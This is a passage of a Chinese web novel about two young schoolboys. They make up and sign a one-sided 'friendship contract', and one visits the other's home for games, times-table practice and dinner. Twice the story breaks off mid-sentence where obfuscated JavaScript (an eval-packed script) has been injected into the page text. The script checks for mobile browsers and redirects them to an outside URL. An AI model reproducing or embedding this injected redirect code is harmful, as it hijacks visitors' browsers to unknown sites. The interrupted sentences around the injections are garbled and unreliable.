安靖的笑容僵在了脸上。 “这么小就当骗子骗人,你以为靠骗能骗来友谊和恩情吗?骗子!走开!” 君见微把安靖推开,转身就要走, 结果被安靖死死拉住了。 他的一双乌黑的大眼睛哀求地望着君见微,急切地拼命道歉:“对不起!对不起!我不该骗你的!!我错了!我,我就是想跟你和好!我真的不知道要怎么办了嘛!你不要生气,求求你,拜托了,我以后有好吃的好玩的都给你,和好好不好?不要生我的气……” 他一直觉得他俩是好 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“……”君见微看着低着头哭泣却始终坚持抓着自己不放的安靖,手指头有些不安地捏了捏自己的书包带。 他缓缓开口说道,“也不是不可以,做好朋友……” 安靖猛地抬起头望向他,红红的眼眶里,浓黑的大眼眸周围全是泛着桃红的泪花,水亮水亮,流着涕水的小鼻头也变得粉粉的。 君见微深吸了一口气,直视安靖:“以后你不准烦我气我,如果我让你闭嘴你就得闭嘴一句话都不准再讲,不烦我。你答应吗?” 安靖吸吸鼻子:“好!”他当然听君见微的话呀。 君见微:“还有,谁是谁哥哥?” 安靖开心道:“我是你哥哥。” 君见微眼睛紧紧盯着安靖的双眸:“你想清楚再回答一遍。” 安靖眼睛珠子转了转,怂怂地小声屈服道:“你,你是我哥哥。” 君见微歪头:“那你叫啊。” 君见微歪头的样子好可爱啊! 安靖红着脸对面前这个比他小两个月,矮了半个头的君见微,欢喜又羞涩地唤道:“……君见微哥哥。” 君见微听着莫名心发痒,耳朵发痒,连脸也泛了热,他微微扬起下巴对安靖说:“所以以后我叫你做什么,你就做什么,叫你向东,你不准向西。不准不听话。不然就不做朋友了。” 安靖听了急忙点头:“好。”随即又伸出自己的小手指,“拉钩。” 君见微想了想,说道:“拉钩不算数的,那是小孩子才玩的。随时可以反悔。我们要签合同协议,按手印。中午我会拟好协议,下午来学校的时候,你来我班上,我们签协议。” 闻言,心中莫名激动紧张又热血澎湃的安靖看着总是像个小大人的君见微,不禁再次感叹,不愧是君见微啊,真的又酷又聪明,懂得好多。 眼睛红通通的他使劲点了点头,抬起手用袖子擦着眼泪,吸了吸鼻涕,朝君见微咧嘴甜甜一笑。 君见微心里犯恶心,无语地从口袋里掏出自己的小手帕递给他。 “谢谢……”安靖接过手帕擦干净眼泪和鼻涕,又抬头对君见微露出笑脸,“我到时候让我妈妈洗干净然后就还给你。” 君见微:“……不用还了。” 安靖:!!! (≧▽≦)意外收获!君见微又送他礼物了! 君见微看了看腕上的手表:“好了,已经十二点了,你快回家吧。拜拜。” 他朝安靖挥了挥手,然后背着书包酷酷地走了。 “嗯,拜拜~下午见!” 安靖兴奋地也朝君见微的背影挥挥手。 他站在原地,低头看向手里君见微给的这张细条纹蓝条纹白底大格子花色的手帕,脸上忍不住又露了个笑,将其收进口袋,然后一蹦一跳地往自己家方向走去。 “哩哩个哩~哩哩个哩~我是个快活的小精灵~我是个快活的小精灵~” 18. 你在等我吗? 当下午安靖走进君见微的教室时,那种踏入别人领域的微妙惴惴感又奇妙地消失了。 君见微的合同非常正式,条款却很简洁明了,又无理——主要分为两条,一条是安靖承认自己对君见微的辈分称呼是哥哥;一条是君见微对安靖说的话,安靖都要听,君见微向安靖提出的每一条要求,安靖都要做到。 如果违反协议以上任何条款,两人就不再做朋友。 该协议所有条款最终解释权归君见微所有。 这上面分明只有安靖一个人的义务与责任,而君见微只要做他的朋友,听他喊哥哥就好了。 多么“丧权辱人”的协议!!安靖欢欢喜喜地签字按了手印。 君见微在周边几个围观同学的感慨目光下把印泥收起来,将一式两份的协议递了一份给安靖:“好了,收好了。你回你自己班上吧。” “啊?哦,”安靖懵懂地收起这协议,心里有些迷茫和空落落地抬脚离开君见微的教室。 但没过一分钟,他又回来了。 君见微问道:“有什么事吗?”他以为安靖反应过来了,对协议上的内容有所异议。 谁知安靖伏在他桌前,满脸期待地向他提议道:“我们放学时一起走吧!” “……”君见微无法理解地看着他,“我们家在不同方向,出校门一个往左一个往右,怎么一起走啊?” “可以一起从教室走到校门口啊!”安靖开心道。 君见微:“……” 安靖伏在他桌上探着身子央求他:“好不好?好不好嘛?” “叮铃铃——”这个时候上课铃突然打响了。 没有得到回复的安靖望着君见微,脸上和眼里全是焦急和恳求。 “随便你,”君见微给了这么个敷衍的回答,“你快回教室吧。” 安靖开心地一边跑一边说道:“我放学时来找你哦!你不要走。” 及至下午最后一节课,安靖都一直保持着好心情,上课时念课文、回答问题时声音都格外响亮。 谁知计划赶不上变化。 这个班主任上完班会后,并没有让他们自习,而是讲起了数学课。并且放学铃打了还不下课,表示要再讲一分钟,然后开始堂而皇之地拖堂。 安靖原本还跟同桌说好了今天不一起走,而且从第一节课开始就暗暗打算好要早早收拾好书包,放学铃一打就背上书包跑出教室去找君见微。 他望着台上一直在讲课的老师,心里急得受不了,屁股扭来扭去,腿也止不住地抖。 也不知道君见微是不是在教室等他,又或是这个时候没见到他就直接走了? 而且这还是两人第一次约好了一起走,如果君见微万一真等了,还等不到他,估计以后都不愿意跟他一起走了。 捱了一分钟,安靖终于急中生智,举手道:“老师,我想上厕所!” 老师同意了。 他像撵猫的狗子一样飞快地窜出了教室。 结果刚出门,不等他往君见微教室跑,就被喊住了。 “你去哪儿?” 只见君见微正以一种闲适的姿态插着口袋站在教室门外一侧看着他,疑惑地挑起眉。 君见微又瞟了眼教室里面,低声问:“不是在上课吗,你怎么出来了?” 安靖大为惊喜:“你在等我吗?” 随即面上又显出些慌乱和羞愧:“我,我以为你先走了,想去找你让你等等我。” 君见微无语,让他赶紧回教室继续上课。 “那,那你要再稍微等我一下哦,不要走哦!” 安靖开心地又钻进了教室,喊了声报告。 数学老师惊讶问道:“你不是说上厕所吗?这么快就回来了?” 安靖仰着脑袋说:“我想上大号,可是老师你说只讲一分钟,所以我想了想,干脆等下课拉,老师你快点吧。” 老师:…… =_=她这是被小孩讽刺了吗? 老师果然也没好意思再继续拖堂,把剩下的内容匆匆几句讲完,便让学生下课了。 安靖兴奋地背上早就整理好的书包,冲出了教室。 他笑容满面地一把抱住来不及拒绝的君见微:“好了,我们走吧!” 君见微有些别扭地推了推他,安靖松开了,拉起他的手,一起朝学校门口走去,淡金色的正午阳光迎面铺洒在他们扬起的脸庞上,在这秋高气爽的天气里,似乎也让人感受到了春暖花开。 且不提后来安靖如何与潘莹炫耀自己和君见微的友情。 他终于在二年级也成为了光荣的少先队员。 在国旗下,佩戴着红领巾的高年级哥哥姐姐们排着队伍,严肃又郑重地为他们这新一批加入少先队列的小学弟学妹们系上鲜红的红领巾,然后彼此向对方抬手行少先队礼。 整个仪式,似乎比西方贵族加爵授勋还要来得更为庄重而神圣。 导致一直到放学时安靖还很兴奋,他开心地揪起胸前红领巾向君见微嚷道:“你看你看!我也是少先队员了!” 君见微看向他那被囫囵打结的红领巾:“这结是你自己绑的吧?” 安靖低头看了看,有些不好意思:“老师教了,但我还是没学会怎么打红领巾的结,然后我想拆开来学,结果又不记得怎么系了……” 君见微停下步伐:“叫哥哥。” “诶?” 突然被这么要求,安靖有些懵,但仍是听话地喊了:“君见微哥哥。” 君见微满意地说了句:“抬头。” 安靖乖乖地扬起下巴。 君见微伸出手两三下把安靖的红领巾拆了。 “你好好看着,先把这一头横过来绕到后面……” 他一边讲解,一边慢动作帮安靖系。 仰着头的安靖也费力地低下眸子,看得认真。 “学会了吗?”君见微抬眼问道。 安靖挠挠耳朵:“好像,学会了吧?” 他朝君见微笑得一脸开心,不住地低头看自己的红领巾和君见微胸前的红领巾,结都打得又标准又漂亮:“你系得真好看!” 君见微心里来不及得意,就见安靖做出了一个让他想把自己手剁了的动作。 ——这家伙居然捏起红领巾的一角塞在嘴巴里使劲嘬了嘬又伸舌头认真舔了舔。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142095|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你在干嘛?你不嫌脏吗?!”君见微惊恐地问道,感觉自己刚刚捏过安靖红领巾的手指开始隐隐作痒,似乎有一堆口水细菌虫子在上面爬来爬去,忍不住暗暗使劲搓了搓。 安靖吐出湿漉漉的红领巾角:“我就想尝尝有没有血的味道。” “……啊?” “因为红领巾是国旗的一角嘛,然后国旗不是用战士的鲜血染红的吗?” 安靖认真地说道,一脸崇拜与仰慕,“那这个红领巾上肯定也浸满了战士们的鲜血。不过好像我都没有尝出来。” 君见微看外星人一般看着他:“你是笨蛋吗?!那只是个比喻!!谁会真拿先辈的血来做染料啊?!那是侮辱先辈!” 他知道安靖一向喜欢胡思乱想,但没想到安靖的脑子里居然连这么可怕的场景都能造出来!世界上怎么会有这么笨的家伙! “是先辈们流血牺牲换来我们的新种花家,所以说国旗由鲜血染成,长城由血肉筑就,难道你还会认为长城真的由血肉做的吗?长城是砖做的,红领巾和国旗是用布和普通染料做的。但是它们的象征是神圣且不容侵犯的。以后不准再咬红领巾了!” 君见微终于彻底相信安靖当初把他胳膊上戴的孝布当做勋章是真的出于无知了。 但是安靖认错态度非常好,马上就道歉了:“对不起对不起!我不知道。”还揪起红领巾说:“先辈们对不起我错了!谢谢先辈们。” 然后一脸乖巧地看向君见微。 君见微想了想:“以后这种乱七八糟的想法,不要再随便跟别人说。” “嗯嗯,我只跟你说。” “……少先队员的称号不仅是一种荣耀,更是一种责任。以后你更要好好学习,不能辜负自己胸前的红领巾,给红领巾丢人。” “嗯嗯!” “而且成为了少先队员以后,现在每周一早上升国旗,除了记得穿校服,你还要记得戴红领巾。你记住红领巾怎么系的了吧?” “……好像,记得吧。” 事实上,是没记住的。 后来很长一段时间里,每周一早上安靖都要拜托同学或者跑去找君见微帮自己系。 有时候甚至忘了戴,次数多了以后,他的红领巾之后就被君见微帮他保管,每周一要升国旗的时候就跑去找君见微,让君见微为他佩戴。 在走出校门分开前,安靖邀请道:“这个周末你来我家里玩吧?我爸爸给我买了新的游戏卡,可好玩儿了!” 君见微摇头:“我还要上补习班。” “上什么补习班呀?难道你周末两天都要上吗?”安靖拽着他的胳膊晃了晃,用一双大眼睛望着他央求道,“好不好啊?你来嘛!” 君见微:…… 他还真是周末两天都要上。 安靖乌黑的大眼珠子一转,喊道:“君见微哥哥,哥哥好不好?答应我吧!” 君见微听得耳朵尖发痒,泛着浅粉。 这家伙真是个撒娇精…… 他头疼地无奈说道:“那周五下午放学去你家玩行不行?” “嗯嗯!好!”安靖高兴地与君见微挥手作别,一个人回家的路上也开心无比。 19. 你想要什么奖励啊? 这周五下午放学后,君见微跟着安靖一起前去安靖家。 到了安靖家楼下,君见微又拉着安靖进了水果店,然后认真地挑起了红苹果。 “你买苹果干什么啊?你喜欢吃苹果吗?我家有橘子诶,你吃不吃?”安靖问道。 君见微头也没抬地:“这是见面礼。” “啊?不,不用了吧……”安靖羞涩又局促地挠挠头。 这么大人社交式的正式让他高兴又敬佩。虽然他并不喜欢吃苹果。 “你……”君见微捏了捏手里的袋子提手,回过头问他,“你喜欢吃苹果吗?” 安靖急忙使劲点头:“我最喜欢吃苹果了!” 君见微才微不可查地松了口气,满意道:“嗯,苹果含锌,吃苹果对记忆力好,健脑益智。” 所以君见微这么聪明,平时也很爱吃苹果吧,安靖望着继续低头认真挑苹果的君见微,心中暗暗敬佩地想着。 他今天总算知道一种君见微喜欢的食物了! 安靖家住在5楼,防盗门上表面的涂漆脱落了好几块,露出底下锈迹,尽管贴了倒“福”字也遮掩不住。旁边白里泛黄的墙壁上盖满了□□、通下水道和开锁的号码,这些痕迹从1楼一直延续到5楼。 安靖把门上夹的小传单扯下来百无聊赖地看了看,然后就团成一团塞进口袋,用钥匙打开了家门。 爸爸妈妈尚未回来,家中空无一人。 他进门后从鞋柜里拿出妈妈知道君见微会来做客后特地买的奥特曼拖鞋,摆放在君见微面前:“呐,这个是新的。”又从君见微手里接过苹果,去放进冰箱里。 君见微穿上拖鞋后,打量了一圈安靖的家。三室两厅,装修简朴,雪白墙面,瓷砖铺地。四处物品摆放得整整齐齐,家具和地板也都打理得干干净净。 饭桌上有壶安妈妈一早放凉的凉白开,安靖倒了一杯递给君见微。 “谢谢,”君见微道谢,他捧着水垂眼看了看杯子,抿着杯沿浅浅喝了一小口,又放回了饭桌上。 安靖便拉着他进了自己的房间。 房间里,床铺被子都叠得整整齐齐,书架上的书也按学习和娱乐分开妥善摆放,只有书桌,似乎妈妈根本疲于每天整理,上面书本和各种文具摆放得乱七八糟,明明那么大一张桌面却好似完全不够放。 明亮的淡金阳光从窗户铺洒进来,莫名使这张迎窗的、乱糟糟的书桌显出可爱来。 安靖把桌上东西胡乱一推一堆,空出位置来,然后把两人的书包放在了上面。 君见微扫视了一眼安靖书架上的书,随即注意到了被安靖书桌上摆放的相框。 相框是白色的长方形边框,四寸高三寸长,立在台灯旁,里面照片是安靖一家人在游乐园里玩杯子型旋转座椅的情景。 安靖比着剪刀手倚在妈妈的怀里,二人一起坐在一个杯子内,而爸爸另坐一个杯子,三人对着镜头都笑得很开心。 “这个是暑假的时候我爸爸妈妈带我去游乐园玩的时候拍的,”安靖见君见微目光落在这相片上,便解释道。 “你要看我小时候的照片吗?”他觉得君见微对他的照片很感兴趣,从书架上抽出了一本柯达相册,随即开心地强拉着君见微一同坐在自己的床沿,“哎呀你坐嘛。坐下看。嘿嘿,小时候我可傻了。” 你现在也没聪明到哪去。 君见微内心吐槽着,接过相册,一页页慢慢翻动。 相册里大部分都是安靖的照片,从小到大都有。有白白胖胖的婴儿状态坐在婴儿车里张牙舞爪笑得露出粉色牙床的,有坐在爸爸肩膀上吃棉花糖的,也有他和妈妈一起在广场放风筝的。 每张照片上都写有日期或安靖的年龄,特别是还有张是安靖站在照相馆里的特色背景前,身穿一套小西服,领口打着红色蝴蝶结,双手环胸抱臂,一副酷酷的模样。照片右下角用金色字体写着“5周岁生日”。 可以看出父母对孩子的每个成长痕迹都倍感珍爱,恨不得把每个重要时间点都记录下来。 而无论是哪一张照片,那当中的快乐和喜悦情绪都扑面而来,直击看者的心灵。 君见微再看了几页后就合上了。安靖只当他觉得无聊了,拉着他往客厅走去:“走,我们去客厅打游戏。” 两人玩的是超级玛丽双人版。 安靖插卡和调试游戏的动作很是熟练,君见微还以为他玩得很好,结果在游戏开始以后就发现并非如此,这家伙玩得不怎样也就算了—— “……你操控手柄的时候一定要左右摇晃身体吗?!这个不是体感游戏吧?” 差点又被安靖撞到手肘导致操控失误的君见微有些暴躁地问道。 安靖:“对不起对不起!我,我忍不住QAQ……” 君见微只好向旁边挪了挪,手上飞快地按着按键,操控人物灵活地跳上漂浮的方块,抓住时机在移动的方块上连续跳跃,顺利吃掉蘑菇,逃过怪物。 而身体猛然往右,却又一次跳跃失败导致马里奥摔下悬崖的安靖:…… 君见微噗嗤一笑,瞄了眼脸上和眼睛里都露出委屈的安靖,嘴里噙着笑控制着路易基顺利过了这一关。 幸好这个版本的双人模式,只要活下一个人也算赢。 游戏机打到一半,安靖妈妈回家了。 听到安靖妈妈喊安靖和关门的声音,坐在地板上的君见微赶紧放下了手上的游戏手柄爬起来,屏幕上原本马上要过关的人物当即就被怪物撞上死亡,发出了失败的游戏音效。 安靖很是可惜,还想继续,却被君见微瞪了一眼,只好也跟着放了手柄,被君见微拉着手走出房间向妈妈打招呼。 安靖妈妈对这个很久没见,却每天都被儿子挂在嘴边没消失过的小男孩印象深刻,“哦,君见微啊,都长这么高了啊。” 比安靖矮半个头的君见微莫名心塞:…… 客厅里电视还联着游戏机,游戏背景音乐这时恰好播放到了高潮部分,声音格外清晰。 妈妈也听到了,说:“你们俩就先别玩游戏了,安靖你那个九九乘法表都还没背下来,让君见微监督你背。君见微你背下来了吗?” 君见微看了眼安靖,答道:“嗯,背下来了。” 安妈妈抬抬下巴对安靖道:“听到没,人家都背了,就你还没背下来。君见微你等下也教教安靖你是怎么背下来的。” 原本还打算和君见微继续打游戏的安靖没想到妈妈一回来就居然要他学习,不满地大声控诉:“妈妈,今天才星期五呢!我想玩……” “玩个屁!今天趁着君见微在这里,赶紧让他抓着你把这个背了,”妈妈皱起眉不容置疑地说道,“我都不好意思说,你自己跟君见微说,你到现在半个多学期了,九九乘法表都不会背,你问问君见微,哪个二年级的同学像你这个样子,还背不来?上次期中考试还用那种背后印了九九乘法表的文具盒作弊,结果被老师抓住,考得一塌糊涂。我已经把他文具盒给扔了,我倒要看他期末的时候怎么办。君见微你帮帮忙,我家安靖最听你的话了。” 安靖没想到妈妈会当着君见微的面把这事说出来,颇感丢脸,他瞄了瞄君见微,赶紧用力把妈妈推去厨房:“妈妈!!!哎呀你走啦!不要你管。” 然后转身拉了君见微:“走,我们继续打游戏。” 待到了客厅,君见微却没拿游戏手柄,他蹙起眉:“你怎么能作弊,那是不诚实的小孩才做的事情。” 安靖红了脸,偷偷瞟了眼厨房,不晓得妈妈有没有听到君见微批评自己。 他也知道作弊是一件让人羞惭、道德败坏的事情。但他当时偷看文具盒只是想投机取巧,虽然这的确带有一定的作弊性质。 君见微严厉地说道:“不会就是不会,考得差是头脑问题和学习态度问题,但是作弊就是人品问题了。宁可考零分也不能作弊啊。” 安靖急忙去牵君见微的手,晃了晃,望着他小声道:“对不起,我知道错了……我,我这就去背,好吗?” 随即他又瞟了眼依然亮着游戏画面的电视屏幕,问君见微,“……你还要玩游戏吗?要不然我背书,你在客厅打游戏吧?” 君见微摇了摇头:“我回房间陪你。” 安靖有些开心,露了个笑。 把游戏收拾了,两人就回了安靖的房间。 安靖从书架上抽了本《机器猫》漫画递给君见微,“你看这个吧。”随即从书桌上翻出了一张九九乘法表开始大声读了起来。 君见微再次望向安靖的书架,上面最显眼的就是他当初送安靖的那三本大小不同的厚厚字典。另外就是一些类似《字词句》、《小学生作文大全》一类的工具书,以及一堆机器猫、蜡笔小新和七龙珠之类的日本漫画。 君见微翻开手里的漫画,这《机器猫》是台湾译本,字体全是繁体,安靖这个老写错别字的笨蛋居然也能看得进去。 “那个……如果我背会九九乘法表,你可不可以给我一个奖励啊?”安靖没读一会又忍不住开口和君见微搭话。 看漫画看得津津有味的君见微抬起头没好气:“你是在帮我背吗?凭什么向我要奖励?” “为我自己,为我自己,”安靖急忙道,他讨好地拉了君见微的胳膊:“但是你是我哥哥呀!好不好嘛?我妈妈都会奖励我的。”那双乌黑的大眼睛望着他,眨巴眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142096|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴的闪着光。 君见微倒是好奇:“你想要什么奖励啊?” 安靖忙把自己暗戳戳的想法说了:“我想要去你家玩儿。” 君见微一怔,说道:“我家没什么好玩的。” 安靖非要去,撅着嘴哀怨地看着君见微:“我想去……” “好不好啊?你都来过我家玩了,我也去你家玩啊。我会很礼貌的!我也买苹果给你吃!” 这不是礼不礼貌,苹不苹果的问题啊…… 君见微犹豫一下还是禁不住安靖的软磨硬泡,头疼地答应了。但临了他还是有些不爽地看了一眼面露欢喜的安靖。 真是个撒娇精。 “吃饭啦!崽崽,见微,出来吃饭。我们先吃,不管爸爸。” 安靖妈妈在饭厅喊道。 和安靖一起看漫画的君见微急忙走出来说:“阿姨不用了,我回家……”他的耳朵尖又泛了红,被安靖妈妈用“见微”这么亲昵的昵称称呼,叫他心生微微羞涩。 “哎哟,都已经做了你的饭啦。我还特地给买了牛肉来炖呢,你难得来我们家做客。安靖不晓得有多高兴。这几天天天都在嚷嚷你今天要来我们家做客的事,”安静妈妈硬是拉着君见微不让走,牵他到自家座机旁,“就留在阿姨家吃饭!你打电话回家给家里人说一声嘛。记得家里电话吗?” 君见微还没来得及说,安靖就得意地喊道:“他记得的!我都记得!”然后大声把君见微家的电话背了出来。 “哦,人家家电话号码都背得下来,你九九乘法表怎么背不下来?” “我现在背下来了!不信你问君见微!” 晚饭果然很丰盛,有安靖妈妈从中午就用砂锅炖下的土豆牛肉,还有高压锅煮的莲藕排骨汤。 安靖妈妈把安靖面前的土豆炖牛肉挪到了君见微面前:“来,不要客气,多吃点。” “阿姨不用,这样安靖不方便……”君见微要拒绝,安靖就端着自己的那碗汤跑到他旁边坐下,朝他一笑,“这样我就方便夹到啦,你多吃点,我妈妈做的土豆炖牛肉最好吃了。” 尤其是这种热过以后的,又烂又入味,酱汁醇厚得不得了。 喝完汤后,安靖就盛了碗饭,然后夹了好几块土豆放在碗里,又用勺子勺了几勺酱汁,将土豆碾碎了混着酱汁拌饭,一口一口吃得特别香。 安靖妈妈夹了好几块牛肉到两个小孩碗里:“你们两个小孩多吃点,正是长身体的时候。安靖你多吃点蔬菜!不准挑食!”她皱着眉头往安靖碗里又夹了一大团菠菜,“你问问人家君见微挑不挑食!菠菜含铁,要多吃点!” 安靖瞄了眼君见微,不大情愿地“哦”了声,随即突然想到君见微送的那袋苹果,急忙道:“妈妈,妈妈,你知道吗?君见微给我们家买了苹果,我放在冰箱里了。君见微说,苹果里含锌,可以增强记忆力,增加智力。” “这么客气啊?”安靖妈妈笑着看向君见微,“下次就不要买了,你跟安靖是好朋友,而且小孩子不用这么讲客气的。对了,见微你爸妈是干什么的啊?我看你爸爸妈妈好像很忙的样子,家里谁照顾你啊?” 君见微咽下嘴里那口饭,简单含糊着回答了:“他们在外地开饭店,家里有个阿姨照顾我。” 安靖妈妈啧啧啧地感叹:“家里没人管都能这么认真学习,要是安靖得翻了天。君见微啊,你和安靖既然是好朋友,帮阿姨好好地带带安靖学习。安靖你好好向君见微学习,有什么不会的一定要问君见微。” 安靖敷衍着哦哦了两声,又道:“我和君见微一起做作业,不会的君见微都有教我啦。” 安靖妈妈很高兴,给两个小孩都各夹了一筷子菜:“你们两个都要好好学习,共同进步。” 晚饭后,君见微就要回家了,谁料安靖死死拉着他胳膊不让走。 “哎呀,你就在我家睡嘛。我还从来没有和好朋友一起睡过。妈妈!!君见微今天晚上在我们家睡好不好啊?!” 君见微直接就拒绝了:“不要。” “为什么啊?” 君见微想了想,说了个理由:“我没有带衣服来。” 安靖一听,高兴道:“可以穿我的呀,新牙刷毛巾也都有。晚上我们还可以一起看机器猫的漫画,我还有游戏机。” 他抱住君见微的腰往里拖着死活不撒手:“不要走!我不让你走!”力气那么大,君见微差点摔倒,扶住了玄关处的墙。 安靖妈妈也笑着说:“你爸爸妈妈既然不在家,那就在这边睡嘛。” 君见微看了眼安靖妈妈和安靖,目露迟疑和为难,最后还是答应了。 “嗷!!”安靖地大声欢呼。